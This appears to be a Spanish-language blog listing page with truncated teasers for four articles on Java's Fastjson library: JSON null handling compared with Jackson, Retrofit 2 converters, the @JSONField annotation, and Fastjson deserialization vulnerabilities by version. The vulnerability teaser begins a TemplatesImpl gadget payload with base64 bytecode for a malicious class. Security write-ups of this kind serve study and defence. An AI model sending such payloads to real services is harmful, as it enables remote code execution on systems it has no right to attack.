Comparativa de deserialización JSON en Java: Jackson vs Fastjson
La gestión de valores nulos o cadenas vacías durante la conversión de JSON a objetos POJO es un aspecto crítico en el desarrollo con Java. A continuación, analizamos cómo interactúan las librerías Jackson y Fastjson ante diferentes escenarios de tipos de datos numéricos.
1. Procesamiento de tipos primitivos (int)
En este primer escenario, evalu ...
Publicado el 8-18 11:38
Integrar Fastjson con Retrofit 2 para Serialización de Datos
Para configurar Retrofit 2 para utilizar Fastjson como el serializador/deserializador de datos, es necesario implementar clases personalizadas que actúen como Converter para las solicitudes y respuestas HTTP.
Implementación del Conversor para Cuerpos de Solicitud (RequestBody)
Primero, creamos una clase que maneja la conversión de objetos Java ...
Publicado el 8-1 04:54
Vulnerabilidades de deserialización en fastjson por versión
El payload codificado en base64 corresponde a una clase maliciosa generada previamente. Debe ajustarse según el contexto de uso.
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZ ...
Publicado el 6-30 00:54
Guía de uso de la anotación @JSONField en Java
Problema: Desajuste entre nombres de claves JSON y propiedades Java
En muchas ocasiones, los nombres de las claves en los datos JSON que recebimos no coinciden con los nombres de los atributos de nuestros objetos Java. Esto provoca que los valores no se mapean correctamente y queden como null en nuestro bean.
Escenario inicial
Supongamos que te ...
Publicado el 5-29 12:09